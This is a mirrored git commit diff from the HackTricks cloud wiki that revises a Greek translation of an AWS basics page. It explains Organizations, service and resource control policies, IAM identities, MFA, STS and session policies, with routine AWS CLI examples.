mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-05 19:32:24 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-basic-information/REA
This commit is contained in:
BIN
src/images/vm_to_aa.jpg
Normal file
BIN
src/images/vm_to_aa.jpg
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 142 KiB |
@@ -12,7 +12,7 @@
|
||||
|
||||
Αυτό είναι πολύ ενδιαφέρον από την **οπτική της ασφάλειας**, καθώς **ένας λογαριασμός δεν θα μπορεί να έχει πρόσβαση σε πόρους άλλου λογαριασμού** (εκτός αν έχουν δημιουργηθεί συγκεκριμένες γέφυρες), έτσι μπορείτε να δημιουργήσετε όρια μεταξύ των αναπτύξεων.
|
||||
|
||||
Επομένως, υπάρχουν **δύο τύποι λογαριασμών σε μια οργάνωση** (μιλάμε για λογαριασμούς AWS και όχι λογαριασμούς χρηστών): ένας μόνο λογαριασμός που έχει οριστεί ως ο λογαριασμός διαχείρισης και ένας ή περισσότεροι λογαριασμοί μελών.
|
||||
Επομένως, υπάρχουν **δύο τύποι λογαριασμών σε μια οργάνωση** (μιλάμε για λογαριασμούς AWS και όχι λογαριασμούς χρηστών): ένας μόνο λογαριασμός που έχει οριστεί ως ο λογαριασμός διαχείρισης, και ένας ή περισσότεροι λογαριασμοί μελών.
|
||||
|
||||
- Ο **λογαριασμός διαχείρισης (ο root account)** είναι ο λογαριασμός που χρησιμοποιείτε για να δημιουργήσετε την οργάνωση. Από τον λογαριασμό διαχείρισης της οργάνωσης, μπορείτε να κάνετε τα εξής:
|
||||
|
||||
@@ -40,13 +40,13 @@ aws organizations create-organizational-unit --parent-id r-lalala --name TestOU
|
||||
```
|
||||
### Service Control Policy (SCP)
|
||||
|
||||
Μια **service control policy (SCP)** είναι μια πολιτική που καθορίζει τις υπηρεσίες και τις ενέργειες που μπορούν να χρησιμοποιούν οι χρήστες και οι ρόλοι στους λογαριασμούς που επηρεάζει η SCP. Οι SCP είναι **παρόμοιες με τις πολιτικές δικαιωμάτων IAM** εκτός από το ότι **δεν παρέχουν κανένα δικαίωμα**. Αντίθετα, οι SCP καθορίζουν τα **μέγιστα δικαιώματα** για έναν οργανισμό, μια οργανωτική μονάδα (OU) ή έναν λογαριασμό. Όταν συνδέετε μια SCP στη ρίζα του οργανισμού σας ή σε μια OU, η **SCP περιορίζει τα δικαιώματα για οντότητες σε μέλη λογαριασμών**.
|
||||
Μια **πολιτική ελέγχου υπηρεσιών (SCP)** είναι μια πολιτική που καθορίζει τις υπηρεσίες και τις ενέργειες που μπορούν να χρησιμοποιούν οι χρήστες και οι ρόλοι στους λογαριασμούς που επηρεάζει η SCP. Οι SCP είναι **παρόμοιες με τις πολιτικές δικαιωμάτων IAM** εκτός από το ότι **δεν παρέχουν κανένα δικαίωμα**. Αντίθετα, οι SCP καθορίζουν τα **μέγιστα δικαιώματα** για έναν οργανισμό, μια οργανωτική μονάδα (OU) ή έναν λογαριασμό. Όταν επισυνάπτετε μια SCP στη ρίζα του οργανισμού σας ή σε μια OU, η **SCP περιορίζει τα δικαιώματα για οντότητες σε μέλη λογαριασμούς**.
|
||||
|
||||
Αυτή είναι η ΜΟΝΗ τρόπος που **ακόμα και ο χρήστης ρίζας μπορεί να σταματήσει** να κάνει κάτι. Για παράδειγμα, θα μπορούσε να χρησιμοποιηθεί για να σταματήσει τους χρήστες από το να απενεργοποιούν το CloudTrail ή να διαγράφουν αντίγραφα ασφαλείας.\
|
||||
Ο μόνος τρόπος να παρακαμφθεί αυτό είναι να παραβιαστεί επίσης ο **κύριος λογαριασμός** που ρυθμίζει τις SCP (ο κύριος λογαριασμός δεν μπορεί να αποκλειστεί).
|
||||
|
||||
> [!WARNING]
|
||||
> Σημειώστε ότι **οι SCP περιορίζουν μόνο τους κύριους στο λογαριασμό**, επομένως άλλοι λογαριασμοί δεν επηρεάζονται. Αυτό σημαίνει ότι η ύπαρξη μιας SCP που αρνείται το `s3:GetObject` δεν θα σταματήσει τους ανθρώπους από το **να έχουν πρόσβαση σε ένα δημόσιο S3 bucket** στον λογαριασμό σας.
|
||||
> Σημειώστε ότι **οι SCP περιορίζουν μόνο τους κύριους στον λογαριασμό**, επομένως άλλοι λογαριασμοί δεν επηρεάζονται. Αυτό σημαίνει ότι η ύπαρξη μιας SCP που αρνείται το `s3:GetObject` δεν θα σταματήσει τους ανθρώπους από το **να έχουν πρόσβαση σε ένα δημόσιο S3 bucket** στον λογαριασμό σας.
|
||||
|
||||
Παραδείγματα SCP:
|
||||
|
||||
@@ -66,6 +66,24 @@ aws organizations create-organizational-unit --parent-id r-lalala --name TestOU
|
||||
|
||||
Βρείτε **παραδείγματα JSON** στο [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html)
|
||||
|
||||
### Resource Control Policy (RCP)
|
||||
|
||||
Μια **πολιτική ελέγχου πόρων (RCP)** είναι μια πολιτική που καθορίζει τα **μέγιστα δικαιώματα για πόρους εντός του οργανισμού AWS σας**. Οι RCP είναι παρόμοιες με τις πολιτικές IAM στη σύνταξη αλλά **δεν παρέχουν δικαιώματα**—μόνο περιορίζουν τα δικαιώματα που μπορούν να εφαρμοστούν στους πόρους από άλλες πολιτικές. Όταν επισυνάπτετε μια RCP στη ρίζα του οργανισμού σας, σε μια οργανωτική μονάδα (OU) ή σε έναν λογαριασμό, η RCP περιορίζει τα δικαιώματα πόρων σε όλους τους πόρους στην επηρεαζόμενη περιοχή.
|
||||
|
||||
Αυτή είναι η ΜΟΝΗ τρόπος για να διασφαλίσετε ότι **οι πόροι δεν μπορούν να υπερβούν τα προκαθορισμένα επίπεδα πρόσβασης**—ακόμα και αν μια πολιτική βασισμένη σε ταυτότητα ή πόρο είναι πολύ επιεικής. Ο μόνος τρόπος να παρακαμφθούν αυτοί οι περιορισμοί είναι να τροποποιηθεί επίσης η RCP που έχει ρυθμιστεί από τον λογαριασμό διαχείρισης του οργανισμού σας.
|
||||
|
||||
> [!WARNING]
|
||||
> Οι RCP περιορίζουν μόνο τα δικαιώματα που μπορούν να έχουν οι πόροι. Δεν ελέγχουν άμεσα τι μπορούν να κάνουν οι κύριοι. Για παράδειγμα, αν μια RCP αρνείται την εξωτερική πρόσβαση σε ένα S3 bucket, διασφαλίζει ότι τα δικαιώματα του bucket δεν επιτρέπουν ποτέ ενέργειες πέρα από το καθορισμένο όριο—ακόμα και αν μια πολιτική βασισμένη σε πόρους είναι λανθασμένα ρυθμισμένη.
|
||||
|
||||
Παραδείγματα RCP:
|
||||
|
||||
- Περιορισμός S3 buckets ώστε να μπορούν να προσπελαστούν μόνο από κύριους εντός του οργανισμού σας
|
||||
- Περιορισμός της χρήσης κλειδιών KMS ώστε να επιτρέπονται μόνο λειτουργίες από αξιόπιστους οργανωτικούς λογαριασμούς
|
||||
- Περιορισμός δικαιωμάτων σε SQS queues για να αποτραπούν μη εξουσιοδοτημένες τροποποιήσεις
|
||||
- Επιβολή ορίων πρόσβασης σε μυστικά του Secrets Manager για την προστασία ευαίσθητων δεδομένων
|
||||
|
||||
Βρείτε παραδείγματα στην [τεκμηρίωση Πολιτικών Ελέγχου Πόρων AWS Organizations](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_rcps.html)
|
||||
|
||||
### ARN
|
||||
|
||||
**Amazon Resource Name** είναι το **μοναδικό όνομα** που έχει κάθε πόρος μέσα στο AWS, είναι διαμορφωμένο ως εξής:
|
||||
@@ -82,17 +100,17 @@ arn:aws:elasticbeanstalk:us-west-1:123456789098:environment/App/Env
|
||||
|
||||
## IAM - Identity and Access Management
|
||||
|
||||
Το IAM είναι η υπηρεσία που θα σας επιτρέψει να διαχειριστείτε **Authentication**, **Authorization** και **Access Control** μέσα στον λογαριασμό σας AWS.
|
||||
Το IAM είναι η υπηρεσία που θα σας επιτρέψει να διαχειριστείτε **Authentication**, **Authorization** και **Access Control** μέσα στον λογαριασμό σας στο AWS.
|
||||
|
||||
- **Authentication** - Διαδικασία καθορισμού μιας ταυτότητας και της επαλήθευσης αυτής της ταυτότητας. Αυτή η διαδικασία μπορεί να υποδιαιρεθεί σε: Αναγνώριση και επαλήθευση.
|
||||
- **Authorization** - Καθορίζει τι μπορεί να έχει πρόσβαση μια ταυτότητα μέσα σε ένα σύστημα μόλις έχει επαληθευτεί σε αυτό.
|
||||
- **Access Control** - Η μέθοδος και η διαδικασία με την οποία παρέχεται πρόσβαση σε έναν ασφαλή πόρο.
|
||||
|
||||
Το IAM μπορεί να οριστεί από την ικανότητά του να διαχειρίζεται, ελέγχει και κυβερνά τους μηχανισμούς αυθεντικοποίησης, εξουσιοδότησης και ελέγχου πρόσβασης ταυτοτήτων στους πόρους σας μέσα στον λογαριασμό σας AWS.
|
||||
Το IAM μπορεί να οριστεί από την ικανότητά του να διαχειρίζεται, ελέγχει και κυβερνά τους μηχανισμούς αυθεντικοποίησης, εξουσιοδότησης και ελέγχου πρόσβασης ταυτοτήτων στους πόρους σας μέσα στον λογαριασμό σας στο AWS.
|
||||
|
||||
### [AWS account root user](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html) <a href="#id_root" id="id_root"></a>
|
||||
|
||||
Όταν δημιουργείτε για πρώτη φορά έναν λογαριασμό Amazon Web Services (AWS), ξεκινάτε με μια μοναδική ταυτότητα σύνδεσης που έχει **πλήρη πρόσβαση σε όλες** τις υπηρεσίες και τους πόρους AWS στον λογαριασμό. Αυτή είναι η _**root user**_ του λογαριασμού AWS και αποκτάται με την είσοδο με τη **διεύθυνση email και τον κωδικό πρόσβασης που χρησιμοποιήσατε για να δημιουργήσετε τον λογαριασμό**.
|
||||
Όταν δημιουργείτε για πρώτη φορά έναν λογαριασμό Amazon Web Services (AWS), ξεκινάτε με μια μοναδική ταυτότητα σύνδεσης που έχει **πλήρη πρόσβαση σε όλες** τις υπηρεσίες και τους πόρους AWS στον λογαριασμό. Αυτός είναι ο _**root user**_ του λογαριασμού AWS και αποκτάται με την είσοδο με τη **διεύθυνση email και τον κωδικό πρόσβασης που χρησιμοποιήσατε για να δημιουργήσετε τον λογαριασμό**.
|
||||
|
||||
Σημειώστε ότι ένας νέος **admin user** θα έχει **λιγότερα δικαιώματα από τον root user**.
|
||||
|
||||
@@ -104,26 +122,26 @@ arn:aws:elasticbeanstalk:us-west-1:123456789098:environment/App/Env
|
||||
|
||||
Όταν δημιουργείτε έναν χρήστη IAM, του παρέχετε **δικαιώματα** κάνοντάς τον **μέλος μιας ομάδας χρηστών** που έχει συνημμένες κατάλληλες πολιτικές δικαιωμάτων (συνιστάται), ή **συνημμένα πολιτικές** απευθείας στον χρήστη.
|
||||
|
||||
Οι χρήστες μπορούν να έχουν **ενεργοποιημένο MFA για σύνδεση** μέσω της κονσόλας. Τα API tokens των χρηστών με ενεργοποιημένο MFA δεν προστατεύονται από το MFA. Εάν θέλετε να **περιορίσετε την πρόσβαση των κλειδιών API ενός χρήστη χρησιμοποιώντας MFA**, πρέπει να υποδείξετε στην πολιτική ότι για να εκτελούνται ορισμένες ενέργειες, πρέπει να είναι παρόν το MFA (παράδειγμα [**εδώ**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)).
|
||||
Οι χρήστες μπορούν να έχουν **ενεργοποιημένο MFA για σύνδεση** μέσω της κονσόλας. Τα API tokens των χρηστών με ενεργοποιημένο MFA δεν προστατεύονται από το MFA. Εάν θέλετε να **περιορίσετε την πρόσβαση των κλειδιών API ενός χρήστη χρησιμοποιώντας MFA**, πρέπει να υποδείξετε στην πολιτική ότι για να εκτελούνται ορισμένες ενέργειες πρέπει να είναι παρόν το MFA (παράδειγμα [**εδώ**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)).
|
||||
|
||||
#### CLI
|
||||
|
||||
- **Access Key ID**: 20 τυχαίοι χαρακτήρες αλφαριθμητικούς κεφαλαίους όπως AKHDNAPO86BSHKDIRYT
|
||||
- **Secret access key ID**: 40 τυχαίοι χαρακτήρες κεφαλαίους και πεζούς: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (Δεν είναι δυνατή η ανάκτηση χαμένων κωδικών πρόσβασης).
|
||||
|
||||
Όποτε χρειάζεται να **αλλάξετε το Access Key**, αυτή είναι η διαδικασία που πρέπει να ακολουθήσετε:\
|
||||
Όποτε χρειάζεστε να **αλλάξετε το Access Key**, αυτή είναι η διαδικασία που πρέπει να ακολουθήσετε:\
|
||||
_Δημιουργήστε ένα νέο access key -> Εφαρμόστε το νέο κλειδί στο σύστημα/εφαρμογή -> σημειώστε το αρχικό ως ανενεργό -> Δοκιμάστε και επαληθεύστε ότι το νέο access key λειτουργεί -> Διαγράψτε το παλιό access key_
|
||||
|
||||
### MFA - Multi Factor Authentication
|
||||
|
||||
Χρησιμοποιείται για να **δημιουργήσει έναν επιπλέον παράγοντα για την αυθεντικοποίηση** εκτός από τις υπάρχουσες μεθόδους σας, όπως ο κωδικός πρόσβασης, δημιουργώντας έτσι ένα επίπεδο πολλαπλής αυθεντικοποίησης.\
|
||||
Μπορείτε να χρησιμοποιήσετε μια **δωρεάν εικονική εφαρμογή ή μια φυσική συσκευή**. Μπορείτε να χρησιμοποιήσετε εφαρμογές όπως η google authentication δωρεάν για να ενεργοποιήσετε ένα MFA στο AWS.
|
||||
Μπορείτε να χρησιμοποιήσετε μια **δωρεάν εικονική εφαρμογή ή μια φυσική συσκευή**. Μπορείτε να χρησιμοποιήσετε εφαρμογές όπως η Google Authentication δωρεάν για να ενεργοποιήσετε το MFA στο AWS.
|
||||
|
||||
Πολιτικές με συνθήκες MFA μπορούν να συνημμένες στα εξής:
|
||||
|
||||
- Ένας χρήστης ή ομάδα IAM
|
||||
- Ένας πόρος όπως ένα Amazon S3 bucket, Amazon SQS queue ή Amazon SNS topic
|
||||
- Η πολιτική εμπιστοσύνης ενός IAM role που μπορεί να αναληφθεί από έναν χρήστη
|
||||
- Έναν χρήστη ή ομάδα IAM
|
||||
- Έναν πόρο όπως ένα Amazon S3 bucket, μια ουρά Amazon SQS ή ένα θέμα Amazon SNS
|
||||
- Την πολιτική εμπιστοσύνης ενός IAM role που μπορεί να αναληφθεί από έναν χρήστη
|
||||
|
||||
Εάν θέλετε να **έχετε πρόσβαση μέσω CLI** σε έναν πόρο που **ελέγχει για MFA**, πρέπει να καλέσετε **`GetSessionToken`**. Αυτό θα σας δώσει ένα token με πληροφορίες σχετικά με το MFA.\
|
||||
Σημειώστε ότι **τα διαπιστευτήρια `AssumeRole` δεν περιέχουν αυτές τις πληροφορίες**.
|
||||
@@ -134,26 +152,26 @@ aws sts get-session-token --serial-number <arn_device> --token-code <code>
|
||||
|
||||
### [Ομάδες χρηστών IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) <a href="#id_iam-groups" id="id_iam-groups"></a>
|
||||
|
||||
Μια ομάδα [χρηστών IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) είναι ένας τρόπος για να **συνδέσετε πολιτικές σε πολλούς χρήστες** ταυτόχρονα, γεγονός που μπορεί να διευκολύνει τη διαχείριση των δικαιωμάτων για αυτούς τους χρήστες. **Οι ρόλοι και οι ομάδες δεν μπορούν να είναι μέρος μιας ομάδας**.
|
||||
Μια ομάδα [χρηστών IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) είναι ένας τρόπος για να **συνδέσετε πολιτικές σε πολλούς χρήστες** ταυτόχρονα, κάτι που μπορεί να διευκολύνει τη διαχείριση των δικαιωμάτων για αυτούς τους χρήστες. **Οι ρόλοι και οι ομάδες δεν μπορούν να είναι μέρος μιας ομάδας**.
|
||||
|
||||
Μπορείτε να συνδέσετε μια **πολιτική βάσει ταυτότητας σε μια ομάδα χρηστών** έτσι ώστε όλοι οι **χρήστες** στην ομάδα χρηστών **να λαμβάνουν τα δικαιώματα της πολιτικής**. **Δεν μπορείτε** να προσδιορίσετε μια **ομάδα χρηστών** ως **`Principal`** σε μια **πολιτική** (όπως μια πολιτική βάσης πόρων) επειδή οι ομάδες σχετίζονται με δικαιώματα, όχι με αυθεντικοποίηση, και οι principals είναι αυθεντικοποιημένες οντότητες IAM.
|
||||
Μπορείτε να συνδέσετε μια **πολιτική βάσει ταυτότητας σε μια ομάδα χρηστών** έτσι ώστε όλοι οι **χρήστες** στην ομάδα χρηστών **να λαμβάνουν τα δικαιώματα της πολιτικής**. **Δεν μπορείτε** να προσδιορίσετε μια **ομάδα χρηστών** ως **`Principal`** σε μια **πολιτική** (όπως μια πολιτική βάσης πόρων) επειδή οι ομάδες σχετίζονται με τα δικαιώματα, όχι με την ταυτοποίηση, και οι principals είναι ταυτοποιημένες οντότητες IAM.
|
||||
|
||||
Ακολουθούν μερικά σημαντικά χαρακτηριστικά των ομάδων χρηστών:
|
||||
|
||||
- Μια **ομάδα** χρηστών μπορεί να **περιέχει πολλούς χρήστες**, και ένας **χρήστης** μπορεί να **ανήκει σε πολλές ομάδες**.
|
||||
- Μια **ομάδα χρηστών** μπορεί να **περιέχει πολλούς χρήστες**, και ένας **χρήστης** μπορεί να **ανήκει σε πολλές ομάδες**.
|
||||
- **Οι ομάδες χρηστών δεν μπορούν να είναι φωλιασμένες**; μπορούν να περιέχουν μόνο χρήστες, όχι άλλες ομάδες χρηστών.
|
||||
- Δεν υπάρχει **προεπιλεγμένη ομάδα χρηστών που να περιλαμβάνει αυτόματα όλους τους χρήστες στον λογαριασμό AWS**. Εάν θέλετε να έχετε μια ομάδα χρηστών όπως αυτή, πρέπει να τη δημιουργήσετε και να αναθέσετε κάθε νέο χρήστη σε αυτήν.
|
||||
- Δεν υπάρχει **καμία προεπιλεγμένη ομάδα χρηστών που να περιλαμβάνει αυτόματα όλους τους χρήστες στον λογαριασμό AWS**. Εάν θέλετε να έχετε μια ομάδα χρηστών όπως αυτή, πρέπει να τη δημιουργήσετε και να αναθέσετε κάθε νέο χρήστη σε αυτήν.
|
||||
- Ο αριθμός και το μέγεθος των πόρων IAM σε έναν λογαριασμό AWS, όπως ο αριθμός των ομάδων και ο αριθμός των ομάδων στις οποίες μπορεί να είναι μέλος ένας χρήστης, είναι περιορισμένα. Για περισσότερες πληροφορίες, δείτε [ποσοστά IAM και AWS STS](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html).
|
||||
|
||||
### [Ρόλοι IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) <a href="#id_iam-roles" id="id_iam-roles"></a>
|
||||
|
||||
Ένας **ρόλος IAM** είναι πολύ **παρόμοιος** με έναν **χρήστη**, καθώς είναι μια **ταυτότητα με πολιτικές δικαιωμάτων που καθορίζουν τι** μπορεί και δεν μπορεί να κάνει στο AWS. Ωστόσο, ένας ρόλος **δεν έχει καμία διαπιστευτήρια** (κωδικό πρόσβασης ή κλειδιά πρόσβασης) που να σχετίζονται με αυτόν. Αντί να είναι μοναδικά συνδεδεμένος με ένα άτομο, ένας ρόλος προορίζεται να είναι **αναλαμβανόμενος από οποιονδήποτε τον χρειάζεται (και έχει αρκετά δικαιώματα)**. Ένας **χρήστης IAM μπορεί να αναλάβει έναν ρόλο για να προσωρινά** αποκτήσει διαφορετικά δικαιώματα για μια συγκεκριμένη εργασία. Ένας ρόλος μπορεί να **ανατεθεί σε έναν** [**ομοσπονδωμένο χρήστη**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) που συνδέεται χρησιμοποιώντας έναν εξωτερικό πάροχο ταυτότητας αντί για IAM.
|
||||
Ένας **ρόλος IAM** είναι πολύ **παρόμοιος** με έναν **χρήστη**, καθώς είναι μια **ταυτότητα με πολιτικές δικαιωμάτων που καθορίζουν τι** μπορεί και δεν μπορεί να κάνει στο AWS. Ωστόσο, ένας ρόλος **δεν έχει καμία διαπιστευτήρια** (κωδικό πρόσβασης ή κλειδιά πρόσβασης) που να σχετίζονται με αυτόν. Αντί να είναι μοναδικά συνδεδεμένος με ένα άτομο, ένας ρόλος προορίζεται να είναι **αναλαμβανόμενος από οποιονδήποτε τον χρειάζεται (και έχει αρκετά δικαιώματα)**. Ένας **χρήστης IAM μπορεί να αναλάβει έναν ρόλο για να** αποκτήσει προσωρινά διαφορετικά δικαιώματα για μια συγκεκριμένη εργασία. Ένας ρόλος μπορεί να **ανατεθεί σε έναν** [**ομοσπονδωμένο χρήστη**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) που συνδέεται χρησιμοποιώντας έναν εξωτερικό πάροχο ταυτότητας αντί για το IAM.
|
||||
|
||||
Ένας ρόλος IAM αποτελείται από **δύο τύπους πολιτικών**: Μια **πολιτική εμπιστοσύνης**, η οποία δεν μπορεί να είναι κενή, καθορίζοντας **ποιος μπορεί να αναλάβει** τον ρόλο, και μια **πολιτική δικαιωμάτων**, η οποία δεν μπορεί να είναι κενή, καθορίζοντας **τι μπορεί να προσπελάσει**.
|
||||
|
||||
#### Υπηρεσία Ασφαλών Διακριτικών AWS (STS)
|
||||
#### Υπηρεσία ασφαλείας διακριτικών AWS (STS)
|
||||
|
||||
Η Υπηρεσία Ασφαλών Διακριτικών AWS (STS) είναι μια διαδικτυακή υπηρεσία που διευκολύνει την **έκδοση προσωρινών, περιορισμένων διαπιστευτηρίων**. Είναι ειδικά προσαρμοσμένη για:
|
||||
Η Υπηρεσία ασφαλείας διακριτικών AWS (STS) είναι μια διαδικτυακή υπηρεσία που διευκολύνει την **έκδοση προσωρινών, περιορισμένων διαπιστευτηρίων**. Είναι ειδικά προσαρμοσμένη για:
|
||||
|
||||
### [Προσωρινά διαπιστευτήρια στο IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) <a href="#id_temp-creds" id="id_temp-creds"></a>
|
||||
|
||||
@@ -166,10 +184,10 @@ aws sts get-session-token --serial-number <arn_device> --token-code <code>
|
||||
Χρησιμοποιούνται για την ανάθεση δικαιωμάτων. Υπάρχουν 2 τύποι:
|
||||
|
||||
- Πολιτικές διαχείρισης AWS (προρυθμισμένες από την AWS)
|
||||
- Πολιτικές διαχείρισης πελατών: Ρυθμισμένες από εσάς. Μπορείτε να δημιουργήσετε πολιτικές βασισμένες σε πολιτικές διαχείρισης AWS (τροποποιώντας μία από αυτές και δημιουργώντας τη δική σας), χρησιμοποιώντας τον γεννήτρια πολιτικών (μια GUI προβολή που σας βοηθά να παραχωρείτε και να αρνείστε δικαιώματα) ή γράφοντας τη δική σας.
|
||||
- Πολιτικές διαχείρισης πελατών: Ρυθμισμένες από εσάς. Μπορείτε να δημιουργήσετε πολιτικές βασισμένες σε πολιτικές διαχείρισης AWS (τροποποιώντας μία από αυτές και δημιουργώντας τη δική σας), χρησιμοποιώντας τον δημιουργό πολιτικών (μια GUI προβολή που σας βοηθά να παραχωρείτε και να αρνείστε δικαιώματα) ή γράφοντας τη δική σας.
|
||||
|
||||
Κατά **προεπιλογή, η πρόσβαση** είναι **αρνητική**, η πρόσβαση θα παραχωρηθεί εάν έχει καθοριστεί ρητά ένας ρόλος.\
|
||||
Εάν **υπάρχει μία μόνο "Άρνηση", θα υπερισχύσει της "Άδειας"**, εκτός από αιτήματα που χρησιμοποιούν τα διαπιστευτήρια ασφαλείας του ριζικού λογαριασμού AWS (τα οποία επιτρέπονται από προεπιλογή).
|
||||
Εάν **υπάρχει μία μόνο "Άρνηση", θα υπερισχύσει της "Άδειας"**, εκτός από αιτήματα που χρησιμοποιούν τα διαπιστευτήρια ασφαλείας του ριζικού λογαριασμού AWS (τα οποία επιτρέπονται κατά προεπιλογή).
|
||||
```javascript
|
||||
{
|
||||
"Version": "2012-10-17", //Version of the policy
|
||||
@@ -197,18 +215,18 @@ aws sts get-session-token --serial-number <arn_device> --token-code <code>
|
||||
|
||||
#### Inline Policies
|
||||
|
||||
Αυτού του είδους οι πολιτικές είναι **άμεσα ανατεθειμένες** σε έναν χρήστη, ομάδα ή ρόλο. Έτσι, δεν εμφανίζονται στη λίστα Πολιτικών καθώς οποιοσδήποτε άλλος μπορεί να τις χρησιμοποιήσει.\
|
||||
Αυτός ο τύπος πολιτικών είναι **άμεσα ανατεθειμένος** σε έναν χρήστη, ομάδα ή ρόλο. Έτσι, δεν εμφανίζονται στη λίστα Πολιτικών καθώς οποιοσδήποτε άλλος μπορεί να τις χρησιμοποιήσει.\
|
||||
Οι inline πολιτικές είναι χρήσιμες αν θέλετε να **διατηρήσετε μια αυστηρή σχέση ένα προς ένα μεταξύ μιας πολιτικής και της ταυτότητας** στην οποία εφαρμόζεται. Για παράδειγμα, θέλετε να είστε σίγουροι ότι οι άδειες σε μια πολιτική δεν ανατίθενται κατά λάθος σε μια ταυτότητα εκτός από αυτήν για την οποία προορίζονται. Όταν χρησιμοποιείτε μια inline πολιτική, οι άδειες στην πολιτική δεν μπορούν να προσαρτηθούν κατά λάθος στη λάθος ταυτότητα. Επιπλέον, όταν χρησιμοποιείτε την κονσόλα διαχείρισης AWS για να διαγράψετε αυτήν την ταυτότητα, οι πολιτικές που ενσωματώνονται στην ταυτότητα διαγράφονται επίσης. Αυτό συμβαίνει επειδή είναι μέρος της κύριας οντότητας.
|
||||
|
||||
#### Resource Bucket Policies
|
||||
|
||||
Αυτές είναι **πολιτικές** που μπορούν να οριστούν σε **πόρους**. **Όχι όλοι οι πόροι του AWS τις υποστηρίζουν**.
|
||||
Αυτές είναι **πολιτικές** που μπορούν να οριστούν σε **πόρους**. **Όλοι οι πόροι του AWS δεν τις υποστηρίζουν**.
|
||||
|
||||
Εάν μια κύρια οντότητα δεν έχει ρητή άρνηση γι' αυτές, και μια πολιτική πόρου τους παραχωρεί πρόσβαση, τότε επιτρέπεται.
|
||||
|
||||
### IAM Boundaries
|
||||
|
||||
Οι όρια IAM μπορούν να χρησιμοποιηθούν για να **περιορίσουν τις άδειες στις οποίες πρέπει να έχει πρόσβαση ένας χρήστης ή ρόλος**. Με αυτόν τον τρόπο, ακόμη και αν παραχωρηθεί ένα διαφορετικό σύνολο αδειών στον χρήστη από μια **διαφορετική πολιτική**, η λειτουργία θα **αποτύχει** αν προσπαθήσει να τις χρησιμοποιήσει.
|
||||
Οι όρια IAM μπορούν να χρησιμοποιηθούν για να **περιορίσουν τις άδειες στις οποίες πρέπει να έχει πρόσβαση ένας χρήστης ή ρόλος**. Με αυτόν τον τρόπο, ακόμη και αν μια διαφορετική σειρά αδειών παραχωρηθεί στον χρήστη από μια **διαφορετική πολιτική**, η λειτουργία θα **αποτύχει** αν προσπαθήσει να τις χρησιμοποιήσει.
|
||||
|
||||
Ένα όριο είναι απλώς μια πολιτική που συνδέεται με έναν χρήστη και **υποδεικνύει το μέγιστο επίπεδο αδειών που μπορεί να έχει ο χρήστης ή ο ρόλος**. Έτσι, **ακόμη και αν ο χρήστης έχει πρόσβαση Διαχειριστή**, αν το όριο υποδεικνύει ότι μπορεί να διαβάσει μόνο S· buckets, αυτό είναι το μέγιστο που μπορεί να κάνει.
|
||||
|
||||
@@ -216,9 +234,9 @@ aws sts get-session-token --serial-number <arn_device> --token-code <code>
|
||||
|
||||
### Session Policies
|
||||
|
||||
Μια πολιτική συνεδρίας είναι μια **πολιτική που ορίζεται όταν αναλαμβάνεται ένας ρόλος** με κάποιο τρόπο. Αυτό θα είναι σαν ένα **όριο IAM για αυτή τη συνεδρία**: Αυτό σημαίνει ότι η πολιτική συνεδρίας δεν παραχωρεί άδειες αλλά **περιορίζει αυτές στις οποίες υποδεικνύεται στην πολιτική** (με τις μέγιστες άδειες να είναι αυτές που έχει ο ρόλος).
|
||||
Μια πολιτική συνεδρίας είναι μια **πολιτική που ορίζεται όταν αναλαμβάνεται ένας ρόλος** με κάποιο τρόπο. Αυτό θα είναι σαν ένα **όριο IAM για αυτήν τη συνεδρία**: Αυτό σημαίνει ότι η πολιτική συνεδρίας δεν παραχωρεί άδειες αλλά **περιορίζει αυτές στις οποίες υποδεικνύεται στην πολιτική** (με τις μέγιστες άδειες να είναι αυτές που έχει ο ρόλος).
|
||||
|
||||
Αυτό είναι χρήσιμο για **μέτρα ασφαλείας**: Όταν ένας διαχειριστής πρόκειται να αναλάβει έναν πολύ προνομιακό ρόλο, θα μπορούσε να περιορίσει την άδεια μόνο στις υποδεικνυόμενες στην πολιτική συνεδρίας σε περίπτωση που η συνεδρία παραβιαστεί.
|
||||
Αυτό είναι χρήσιμο για **μέτρα ασφαλείας**: Όταν ένας διαχειριστής πρόκειται να αναλάβει έναν πολύ προνομιούχο ρόλο, θα μπορούσε να περιορίσει την άδεια μόνο στις υποδεικνυόμενες στην πολιτική συνεδρίας σε περίπτωση που η συνεδρία παραβιαστεί.
|
||||
```bash
|
||||
aws sts assume-role \
|
||||
--role-arn <value> \
|
||||
@@ -228,7 +246,7 @@ aws sts assume-role \
|
||||
```
|
||||
Σημειώστε ότι από προεπιλογή **το AWS μπορεί να προσθέσει πολιτικές συνεδρίας σε συνεδρίες** που πρόκειται να δημιουργηθούν λόγω τρίτων λόγων. Για παράδειγμα, σε [μη αυθεντικοποιημένους ρόλους cognito](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) από προεπιλογή (χρησιμοποιώντας ενισχυμένη αυθεντικοποίηση), το AWS θα δημιουργήσει **διαπιστευτήρια συνεδρίας με πολιτική συνεδρίας** που περιορίζει τις υπηρεσίες που μπορεί να έχει πρόσβαση η συνεδρία [**στην παρακάτω λίστα**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services).
|
||||
|
||||
